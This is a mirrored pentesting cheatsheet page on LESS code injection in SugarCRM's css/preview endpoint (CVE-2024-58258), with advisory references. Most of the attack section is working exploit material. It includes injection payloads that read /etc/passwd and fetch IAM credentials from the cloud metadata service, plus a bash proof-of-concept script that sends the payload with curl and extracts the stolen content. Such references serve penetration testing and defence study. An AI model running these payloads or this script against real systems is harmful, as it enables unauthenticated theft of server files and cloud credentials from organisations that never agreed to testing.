repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
less-code-injection.mdMarkdown75 lines3.6 KiBrendered raw download
---
title: "LESS Code Injection leading to SSRF & Local File Read"
section: "Web Pentesting"
sectionSlug: "pentesting-web"
sourcePath: "src/pentesting-web/xs-search/css-injection/less-code-injection.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/css-injection/less-code-injection.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---

# LESS Code Injection leading to SSRF & Local File Read

LESS is a CSS preprocessor with variables, mixins, functions, and `@import`. With the `(inline)` import option, the compiler copies the imported resource into CSS output without processing it as LESS. Server-side fetching, accepted URL schemes, and local-file access depend on the compiler implementation and options.<sup>[[4]](#references)</sup>

When an application concatenates **user-controlled input** into a string that is later parsed by the LESS compiler, an attacker can **inject arbitrary LESS code**.  By abusing `@import (inline)` the attacker can force the server to retrieve:

* Local files via the `file://` protocol (information disclosure / Local File Inclusion).
* Remote resources on internal networks or cloud metadata services (SSRF).

This technique affected the SugarCRM `/rest/v10/css/preview` endpoint in the version ranges documented by SA-2024-059; do not reduce the advisory's edition-specific ranges to a universal “≤ 14.0.0” claim.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup>

### Exploitation

1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. `?lm=` in SugarCRM).<sup>[[1]](#references)</sup>
2. Close the current statement and inject new directives.  The most common primitives are:
   * `;`  – terminates the previous declaration.
   * `}`  – closes the previous block (if required).
3. Use `@import (inline) '<URL>';` to read arbitrary resources.
4. Optionally inject a **marker** (`data:` URI) after the import to ease extraction of the fetched content from the compiled CSS.

#### Local File Read

```text
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```

The contents of `/etc/passwd` will appear in the HTTP response just before the `@@END@@` marker.

#### SSRF – Cloud Metadata

```text
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```

#### Automated PoC (SugarCRM example)

```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
  sed -n 's/.*@@END@@\(.*\)/\1/p'
```

### Real-World Cases

| Product | Vulnerable Endpoint | Impact |
|---------|--------------------|--------|
| SugarCRM (affected ranges in SA-2024-059) | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF and local file read |

## References

- [1] [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
- [2] [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
- [3] [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
- [4] [Less documentation — Import At-Rules](https://lesscss.org/features/#import-atrules-feature)